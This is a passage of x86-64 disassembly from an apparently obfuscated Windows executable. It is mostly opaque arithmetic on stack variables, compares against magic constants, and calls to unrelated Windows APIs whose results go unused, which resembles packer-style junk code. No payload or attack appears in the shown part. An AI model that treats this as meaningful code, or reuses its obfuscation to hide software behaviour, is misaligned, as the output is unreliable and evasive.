mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x66d0]
sub eax, 0x79cc27c3
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x4b38]
sub eax, 0x4164b391
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x4b38]
and eax, 0x647f18ed
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x66d0]
add eax, 0x497aff89
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x4b38]
or eax, 0xbad2536
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x66d0]
xor eax, 0x38734f68
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x4b38]
sar eax, 3
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x66d0]
shl eax, 0xb
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x4b38]
add eax, 0x6d7ad7bf
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x4b38]
and eax, 0x4629806d
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x66d0]
add eax, 0x33599970
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x4b38]
add eax, 0x3e334a98
mov dword [rbp + 0x4b38], eax
cmp dword [rbp + 0x2564c], 0x8c4b
ja 0x140004b8e
mov eax, dword [rbp + 0x66d0]
add eax, 0x50990653
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x66d0]
sub eax, 0x233c55bf
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x66d0]
add eax, 0x14ec4ca2
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x4b38]
sub eax, 0xe15694d
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x4b38]
sub eax, 0x173cf996
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x4b38]
and eax, 0x3897f75
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x4b38]
sar eax, 0xb
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x66d0]
shl eax, 0x16
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x66d0]
xor eax, 0x1ac854e1
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x66d0]
or eax, 0x66542cc7
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x4b38]
add eax, 0x6381eba2
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x66d0]
sub eax, 0x2a4daaeb
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x4b38]
and eax, 0x3e06bafd
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x66d0]
sub eax, 0xa28c6ec
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x66d0]
add eax, 0x2c665ccf
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x4b38]
add eax, 0xde1c0b2
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x4b38]
add eax, 0x1c389bcd
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x4b38]
sub eax, 0x74fd1b9
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x4b38]
sub eax, 0x7f6a0dd5
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x4b38]
add eax, 0xa0694d9
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x4b38]
add eax, 0x53c2a25a
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x66d0]
shr eax, 0xa
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x66d0]
xor eax, 0x5a6b1156
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x4b38]
or eax, 0x7455c59f
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x4b38]
shl eax, 4
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x4b38]
and eax, 0x79ff942c
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x66d0]
sub eax, 0x6d55f4f
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x4b38]
add eax, 0x4bdca2d5
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x66d0]
and eax, 0x9a79f14d
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x66d0]
add eax, 0x22bd1751
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x4b38]
add eax, 0x12657fa1
mov dword [rbp + 0x4b38], eax
sub dword [rbp + 0x25660], 0xe3
mov eax, dword [rbp + 0x4b38]
sub eax, 0x73fa8eb9
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x66d0]
add eax, 0x7f77e4eb
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x4b38]
sub eax, 0x41348571
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x4b38]
xor eax, 0x61d8b49d
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x4b38]
shl eax, 0xa
mov dword [rbp + 0x4b38], eax
cmp dword [rbp + 0x25660], 0xaa22
ja 0x140004d46
mov eax, dword [rbp + 0x66d0]
cmp eax, 0xae2880cb
je 0x14015af9b
mov eax, dword [rbp + 0x4b38]
cmp eax, 0x1445a287
je 0x140004fe4
cmp eax, 0x6537437b
je 0x140005007
jmp 0x1400050c4
lea rax, [rbp + 0x830]
mov rcx, rax
mov rax, qword [sym.imp.comdlg32.dll_ChooseFontA]
call rax
mov dword [rbp + 0x2c34], eax
call fcn.14015bd61
jmp 0x1400050c4
mov ecx, 0xbf
mov rax, qword [sym.imp.USER32.dll_SetCaretBlinkTime]
call rax
mov dword [rbp + 0x24c88], eax
mov eax, dword [rbp + 0x4b38]
add eax, 0x2a2cd72b
mov dword [rbp + 0x4b38], eax
lea rax, [rbp + 0x3544]
mov edx, 0xae
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetPriorityClipboardFormat]
call rax
mov dword [rbp + 0x78ec], eax
mov eax, dword [rbp + 0x4b38]
mov dword [rbp + 0x78ec], eax
mov rdx, qword [rbp + 0x254a0]
mov rax, qword [rbp + 0x24c80]
mov r8d, 0x8b
mov rcx, rax
mov rax, qword [sym.imp.COMCTL32.dll_DrawInsert]
call rax
mov eax, dword [rbp + 0x4b38]
mov dword [rbp + 0x78ec], eax
mov rax, qword [rbp + 0x1f20]
lea rcx, [rbp + 0x3b40]
lea rdx, [rbp + 0x3110]
mov r9, rcx
mov r8d, 0x29
mov rcx, rax
call sub.WINSPOOL.DRV_ReadPrinter
mov dword [rbp + 0x2c34], eax
mov r8d, 0xd6
mov edx, 0x58
mov ecx, 0x76
call fcn.140001729
nop
mov dword [rbp + 0x25544], 0xd894
lea rax, [rbp + 0x66d0]
mov qword [rbp + 0x7c0], rax
mov dword [rbp + 0x25648], 0x89c5
mov eax, dword [rbp + 0x66d0]
cmp eax, 0x394fbc23
je 0x14000516f
cmp eax, 0x679889a1
jne 0x1400051c1
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax]
sub eax, 0xb6debdb
mov dword [rbp + 0x66d0], eax
mov rax, qword [rbp + 0x7c0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x2448]
lea rcx, [rbp + 0x1f20]
lea rdx, [rbp + 0x2c34]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 8
mov r9, rcx
mov r8, rdx
mov edx, 0x93
mov ecx, 0x31
mov rax, qword [sym.imp.USER32.dll_ToAsciiEx]
call rax
mov dword [rbp + 0x1068], eax
jmp 0x1400051c1
mov rax, qword [rbp + 0x7c0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax]
and eax, 0x67e75874
mov dword [rbp + 0x66d0], eax
mov dword [rsp + 0x20], 0xcf
mov r9d, 0xa4
mov r8d, 0xf0
mov edx, 9
mov ecx, 2
call fcn.140001450
nop
movabs rax, 0xa4a64cdf71b27ef
mov qword [rbp + 0x3680], rax
lea rax, [rbp + 0x78ec]
mov qword [rbp + 0x24c78], rax
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
sub edx, 0x4cbf1cee
mov dword [rax], edx
mov rax, qword [rbp + 0x3680]
movabs rdx, 0xdf438acaff10efe
add rax, rdx
mov qword [rbp + 0x3680], rax
mov edx, dword [rbp + 0x1068]
mov eax, dword [rbp + 0x4b38]
add edx, eax
mov rax, qword [rbp + 0x24c78]
mov dword [rax], edx
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax]
add eax, 0x7658926b
mov dword [rbp + 0x66d0], eax
mov edx, dword [rbp + 0x78ec]
mov eax, dword [rbp + 0x1068]
xor edx, eax
mov rax, qword [rbp + 0x24c78]
mov dword [rax], edx
mov rax, qword [rbp + 0x7c0]
mov r8d, dword [rax]
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
mov ecx, edx
shr r8d, cl
mov edx, r8d
mov dword [rax], edx
mov eax, dword [rbp + 0x4b38]
mov dword [rbp + 0x1068], eax
mov edx, dword [rbp + 0x4b38]
mov eax, dword [rbp + 0x78ec]
or edx, eax
mov rax, qword [rbp + 0x24c78]
mov dword [rax], edx
mov rax, qword [rbp + 0x3680]
shl rax, 0x2a
mov qword [rbp + 0x3680], rax
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
and edx, 0xd95b9294
mov dword [rax], edx
add dword [rbp + 0x25648], 0x40
mov edx, dword [rbp + 0x4b38]
mov eax, dword [rbp + 0x1068]
sub edx, eax
mov rax, qword [rbp + 0x24c78]
mov dword [rax], edx
mov rax, qword [rbp + 0x7c0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x3680]
movabs rdx, 0x10c56e555a6a4a0f
add rax, rdx
mov qword [rbp + 0x3680], rax
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
sub edx, 0x21c43e0f
mov dword [rax], edx
mov rax, qword [rbp + 0x7c0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
sub ecx, edx
mov dword [rax], ecx
mov edx, dword [rbp + 0x1068]
mov eax, dword [rbp + 0x4b38]
and edx, eax
mov rax, qword [rbp + 0x24c78]
mov dword [rax], edx
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax]
sub eax, 0x39368b30
mov dword [rbp + 0x66d0], eax
mov rax, qword [rbp + 0x24c78]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1068]
sub edx, eax
mov rax, qword [rbp + 0x24c78]
mov dword [rax], edx
mov rax, qword [rbp + 0x7c0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x24c78]
mov edx, dword [rax]
mov eax, dword [rbp + 0x78ec]
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x24c78]
mov dword [rax], edx
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax]
shl eax, 6
mov dword [rbp + 0x66d0], eax
mov rax, qword [rbp + 0x24c78]
mov edx, dword [rax]
mov eax, dword [rbp + 0x78ec]
xor edx, eax
mov rax, qword [rbp + 0x24c78]
mov dword [rax], edx
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
or edx, 0xf6ebe09
mov dword [rax], edx
mov eax, dword [rbp + 0x4b38]
mov dword [rbp + 0x78ec], eax
mov rax, qword [rbp + 0x7c0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
and edx, ecx
mov dword [rax], edx
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
add edx, 0x4df3a7a
mov dword [rax], edx
mov rax, qword [rbp + 0x7c0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x7c0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x24c78]
mov edx, dword [rax]
mov eax, dword [rbp + 0x4b38]
sub edx, eax
mov rax, qword [rbp + 0x24c78]
mov dword [rax], edx
mov rax, qword [rbp + 0x24c78]
mov edx, dword [rax]
mov eax, dword [rbp + 0x78ec]
sub edx, eax
mov dword [rbp + 0x4b38], edx
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax]
sub eax, 0x691f2b63
mov dword [rbp + 0x66d0], eax
mov edx, dword [rbp + 0x1068]
mov eax, dword [rbp + 0x4b38]
and eax, edx
mov dword [rbp + 0x78ec], eax
mov rax, qword [rbp + 0x24c78]
mov edx, dword [rax]
mov eax, dword [rbp + 0x78ec]
add edx, eax
mov rax, qword [rbp + 0x24c78]
mov dword [rax], edx
mov edx, dword [rbp + 0x1068]
mov eax, dword [rbp + 0x4b38]
mov ecx, eax
shl edx, cl
mov eax, edx
mov dword [rbp + 0x78ec], eax
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
shr edx, 1
mov dword [rax], edx
mov edx, dword [rbp + 0x78ec]
mov eax, dword [rbp + 0x1068]
xor edx, eax
mov rax, qword [rbp + 0x24c78]
mov dword [rax], edx
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
or edx, 0x1d360e46
mov dword [rax], edx
mov rax, qword [rbp + 0x24c78]
mov edx, dword [rax]
mov eax, dword [rbp + 0x78ec]
sub edx, eax
mov dword [rbp + 0x4b38], edx
mov rax, qword [rbp + 0x24c78]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1068]
and edx, eax
mov rax, qword [rbp + 0x24c78]
mov dword [rax], edx
mov rax, qword [rbp + 0x24c78]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1068]
add eax, edx
mov dword [rbp + 0x78ec], eax
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
sub edx, 0x1970e3c5
mov dword [rax], edx
mov rax, qword [rbp + 0x7c0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
sub ecx, edx
mov dword [rax], ecx
mov edx, dword [rbp + 0x1068]
mov eax, dword [rbp + 0x4b38]
add edx, eax
mov rax, qword [rbp + 0x24c78]
mov dword [rax], edx
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax]
sub eax, 0x3610488d
mov dword [rbp + 0x66d0], eax
mov rax, qword [rbp + 0x24c78]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1068]
add eax, edx
mov dword [rbp + 0x4b38], eax
mov rax, qword [rbp + 0x7c0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax]
and eax, 0x98598de4
mov dword [rbp + 0x66d0], eax
mov edx, dword [rbp + 0x1068]
mov eax, dword [rbp + 0x78ec]
xor edx, eax
mov rax, qword [rbp + 0x24c78]
mov dword [rax], edx
cmp dword [rbp + 0x25648], 0x9fc4
jbe 0x1400051e0
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax]
test eax, eax
je 0x14000565d
cmp eax, 0x5117ff56
je 0x14015ae9d
jmp 0x14015aec4
lea rax, [rbp + 0x78ec]
mov qword [rbp + 0x24c70], rax
mov dword [rbp + 0x25560], 0x6b0e
movabs rax, 0x7b7087603f11f206
mov qword [rbp + 0x7280], rax
mov dword [rbp + 0x255c4], 0x63e3
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
and edx, 0x448d6a92
mov dword [rax], edx
mov rax, qword [rbp + 0x24c70]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1068]
add edx, eax
mov rax, qword [rbp + 0x24c78]
mov dword [rax], edx
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax]
add eax, 0x6aa49402
mov dword [rbp + 0x66d0], eax
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
sub edx, 0x34060530
mov dword [rax], edx
add dword [rbp + 0x255c4], 0x37
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax]
sub eax, 0x19da3816
mov dword [rbp + 0x66d0], eax
mov rax, qword [rbp + 0x24c70]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1068]
add eax, edx
mov dword [rbp + 0x4b38], eax
mov rax, qword [rbp + 0x7c0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
sub ecx, edx
mov dword [rax], ecx
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
add edx, 0x4c8922c9
mov dword [rax], edx
mov rax, qword [rbp + 0x24c70]
mov edx, dword [rax]
mov rax, qword [rbp + 0x24c78]
mov eax, dword [rax]
add eax, edx
mov dword [rbp + 0x78ec], eax
mov rax, qword [rbp + 0x24c78]
mov edx, dword [rax]
mov eax, dword [rbp + 0x4b38]
xor edx, eax
mov rax, qword [rbp + 0x24c70]
mov dword [rax], edx
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
shl edx, 0x19
mov dword [rax], edx
mov rax, qword [rbp + 0x7c0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
or edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x3680]
sar rax, 0x1c
mov qword [rbp + 0x3680], rax
mov rax, qword [rbp + 0x24c78]
mov edx, dword [rax]
mov eax, dword [rbp + 0x78ec]
and eax, edx
mov dword [rbp + 0x1068], eax
mov rax, qword [rbp + 0x24c78]
mov edx, dword [rax]
mov eax, dword [rbp + 0x78ec]
add edx, eax
mov rax, qword [rbp + 0x24c70]
mov dword [rax], edx
mov rax, qword [rbp + 0x7c0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x24c78]
mov edx, dword [rax]
mov rax, qword [rbp + 0x24c70]
mov eax, dword [rax]
and edx, eax
mov rax, qword [rbp + 0x24c78]
mov dword [rax], edx
mov rax, qword [rbp + 0x7c0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
sub ecx, edx
mov dword [rax], ecx
mov edx, dword [rbp + 0x4b38]
mov eax, dword [rbp + 0x1068]
sub edx, eax
mov rax, qword [rbp + 0x24c78]
mov dword [rax], edx
mov rax, qword [rbp + 0x24c70]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1068]
add eax, edx
mov dword [rbp + 0x4b38], eax
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
sub edx, 0x1ebae4f0
mov dword [rax], edx
mov rax, qword [rbp + 0x24c70]
mov edx, dword [rax]
mov rax, qword [rbp + 0x24c78]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x4b38], edx
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax]
shr eax, 0x13
mov dword [rbp + 0x66d0], eax
mov edx, dword [rbp + 0x78ec]
mov eax, dword [rbp + 0x1068]
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x24c78]
mov dword [rax], edx
mov edx, dword [rbp + 0x78ec]
mov eax, dword [rbp + 0x4b38]
xor edx, eax
mov rax, qword [rbp + 0x24c70]
mov dword [rax], edx
mov rax, qword [rbp + 0x3680]
movabs rdx, 0x4c36f63ced782516
or rax, rdx
mov qword [rbp + 0x3680], rax
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
and edx, 0xa059b70e
mov dword [rax], edx
mov rax, qword [rbp + 0x24c78]
mov edx, dword [rax]
mov eax, dword [rbp + 0x4b38]
add eax, edx
mov dword [rbp + 0x1068], eax
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
add edx, 0x5f3ff9e5
mov dword [rax], edx
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
sub edx, 0x355312a2
mov dword [rax], edx
mov edx, dword [rbp + 0x1068]
mov eax, dword [rbp + 0x4b38]
sub edx, eax
mov rax, qword [rbp + 0x24c70]
mov dword [rax], edx
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
and edx, 0xf6a10836
mov dword [rax], edx
mov edx, dword [rbp + 0x78ec]
mov rax, qword [rbp + 0x24c70]
mov eax, dword [rax]
sub edx, eax
mov rax, qword [rbp + 0x24c78]
mov dword [rax], edx
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
add edx, 0x6a8b0f09
mov dword [rax], edx
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax]
add eax, 0x581f0b5a
mov dword [rbp + 0x66d0], eax
mov edx, dword [rbp + 0x1068]
mov eax, dword [rbp + 0x4b38]
sub edx, eax
mov rax, qword [rbp + 0x24c70]
mov dword [rax], edx
cmp dword [rbp + 0x255c4], 0x74dc
jne 0x140005690
mov rax, qword [rbp + 0x7280]
mov qword [rbp + 0x6b30], rax
mov rax, qword [rbp + 0x3680]
movabs rdx, 0x4c36f63cef7f67de
cmp rax, rdx
je 0x140005a1b
movabs rdx, 0x6207fc9d02b8145c
cmp rax, rdx
je 0x140005a61
jmp 0x140005ac0
mov rax, qword [rbp + 0x24c78]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1068]
mov ecx, eax
sar edx, cl
mov eax, edx
mov dword [rbp + 0x78ec], eax
mov dword [rbp + 0x2559c], 0x270b
mov byte [rbp + 0x6b7], 0xdf
mov dword [rbp + 0x254e4], 0x20f
lea rax, [rbp + 0x66d0]
mov qword [rbp + 0x255f0], rax
jmp 0x140005ac0
mov rax, qword [rbp + 0x24c78]
mov edx, dword [rax]
mov eax, dword [rbp + 0x78ec]
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x24c78]
mov dword [rax], edx
mov rax, qword [rbp + 0x3680]
movabs rdx, 0x3119ef7a63cdd9ef
or rax, rdx
mov qword [rbp + 0x3680], rax
mov rdx, qword [rbp + 0x24c80]
mov rax, qword [rbp + 0x24c68]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetNextDlgTabItem]
call rax
mov qword [rbp + 0x255f8], rax
nop
mov rax, qword [rbp + 0x6b30]
mov qword [rbp + 0x4bf8], rax
movzx eax, byte [rbp + 0x6b7]
movzx eax, al
cmp eax, 0xab
jne 0x140005ba0
mov rax, qword [rbp + 0x24c78]
mov eax, dword [rax]
cmp eax, 0x40db56a5
je 0x140005b03
cmp eax, 0x4420d533
je 0x140005b80
jmp 0x140005c87
mov rax, qword [rbp + 0x255f0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
xor edx, ecx
mov dword [rax], edx
mov rdx, qword [rbp + 0x6b30]
mov rax, qword [rbp + 0x4bf8]
and rax, rdx
mov qword [rbp + 0x7280], rax
mov ecx, 0x25
mov rax, qword [sym.imp.USER32.dll_GetKeyboardLayout]
call rax
mov qword [rbp + 0xb38], rax
mov rax, qword [rbp + 0x24c78]
mov edx, dword [rax]
mov eax, dword [rbp + 0x78ec]
sub edx, eax
mov rax, qword [rbp + 0x24c78]
mov dword [rax], edx
mov rax, qword [rbp + 0x7c0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x255f0]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x66d0], edx
jmp 0x140005b9b
mov rax, qword [rbp + 0x255f0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
add edx, ecx
mov dword [rax], edx
nop
jmp 0x140005c87
lea rax, [rbp + 0x1068]
mov qword [rbp + 0x254f8], rax
mov rax, qword [rbp + 0x6b30]
mov qword [rbp + 0x2af0], rax
lea rax, [rbp + 0x66d0]
mov qword [rbp + 0x25658], rax
mov eax, dword [rbp + 0x66d0]
cmp eax, 0xe6f209
je 0x140005c5f
cmp eax, 0xe34a2265
jne 0x140005c7c
lea rax, [rbp + 0x6b7]
mov qword [rbp + 0x25670], rax
mov dword [rbp + 0x2561c], 0xc820
mov eax, dword [rbp + 0x1068]
test eax, eax
je 0x140005c5c
cmp eax, 0x6d0b1e3
jne 0x140005c7b
lea rax, [rbp + 0x5be0]
mov rcx, rax
mov rax, qword [sym.imp.comdlg32.dll_GetOpenFileNameA]
call rax
mov dword [rbp + 0x3544], eax
mov rax, qword [rbp + 0x24c70]
mov edx, dword [rax]
mov eax, dword [rbp + 0x78ec]
add edx, eax
mov rax, qword [rbp + 0x254f8]
mov dword [rax], edx
mov rdx, qword [rbp + 0x4bf8]
mov rax, qword [rbp + 0x2af0]
add rax, rdx
mov qword [rbp + 0x7280], rax
jmp 0x140005c5d
nop
jmp 0x140005c7b
mov rax, qword [rbp + 0x24c70]
mov edx, dword [rax]
mov eax, dword [rbp + 0x4b38]
and edx, eax
mov rax, qword [rbp + 0x24c70]
mov dword [rax], edx
jmp 0x140005c7c
nop
mov dword [rbp + 0x254c4], 0xf8a9
nop
mov rax, qword [rbp + 0x254f8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x24c78]
mov eax, dword [rax]
lea ecx, [rdx + rax]
mov edx, dword [rbp + 0x78ec]
mov rax, qword [rbp + 0x24c70]
mov eax, dword [rax]
sub edx, eax
cmp ecx, edx
jge 0x140005d15
mov rax, qword [rbp + 0x25670]
movzx eax, byte [rax]
sub eax, 0x2b
mov byte [rbp + 0x6b7], al
mov ecx, 0xe5
mov rax, qword [sym.imp.USER32.dll_IsClipboardFormatAvailable]
call rax
mov dword [rbp + 0x24c88], eax
mov edx, dword [rbp + 0x4b38]
mov rax, qword [rbp + 0x25670]
movzx eax, byte [rax]
movzx r8d, al
mov rax, qword [rbp + 0x24c70]
mov ecx, dword [rax]
movzx eax, byte [rbp + 0x6b7]
movzx eax, al
mov dword [rsp + 0x20], edx
mov r9d, r8d
mov r8d, ecx
mov edx, 0x38
mov ecx, eax
call fcn.1400017de
mov rax, qword [rbp + 0x255f0]
mov edx, dword [rax]
mov eax, dword [rbp + 0x66d0]
or edx, eax
mov rax, qword [rbp + 0x255f0]
mov dword [rax], edx
mov rax, qword [rbp + 0x6b30]
mov rdx, qword [rbp + 0x2af0]
mov ecx, edx
shl rax, cl
mov qword [rbp + 0x7280], rax
mov rax, qword [rbp + 0x7c0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x25658]
mov eax, dword [rax]
xor eax, edx
mov dword [rbp + 0x66d0], eax
mov edx, dword [rbp + 0x1068]
mov rax, qword [rbp + 0x24c78]
mov eax, dword [rax]
mov ecx, eax
sar edx, cl
mov eax, edx
mov dword [rbp + 0x4b38], eax
add dword [rbp + 0x25544], 0xa4
mov edx, dword [rbp + 0x4b38]
mov eax, dword [rbp + 0x78ec]
and edx, eax
mov rax, qword [rbp + 0x254f8]
mov dword [rax], edx
mov rax, qword [rbp + 0x25658]
mov edx, dword [rax]
mov eax, dword [rbp + 0x66d0]
add edx, eax
mov rax, qword [rbp + 0x255f0]
mov dword [rax], edx
mov rax, qword [rbp + 0x255f0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x25658]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x66d0], edx
mov edx, dword [rbp + 0x4b38]
mov rax, qword [rbp + 0x24c78]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x1068], edx
mov rax, qword [rbp + 0x24c78]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1068]
add edx, eax
mov rax, qword [rbp + 0x254f8]
mov dword [rax], edx
mov rax, qword [rbp + 0x25658]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x7c0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x25658]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x66d0], edx
mov rax, qword [rbp + 0x25658]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
and edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x254f8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x24c78]
mov eax, dword [rax]
sub edx, eax
mov rax, qword [rbp + 0x24c70]
mov dword [rax], edx
mov rax, qword [rbp + 0x25670]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0x6b7]
movzx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x25670]
mov byte [rax], dl
mov edx, dword [rbp + 0x78ec]
mov eax, dword [rbp + 0x4b38]
xor edx, eax
mov rax, qword [rbp + 0x24c70]
mov dword [rax], edx
mov rax, qword [rbp + 0x25670]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0x6b7]
movzx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x25670]
mov byte [rax], dl
mov rax, qword [rbp + 0x25658]
mov ecx, dword [rax]
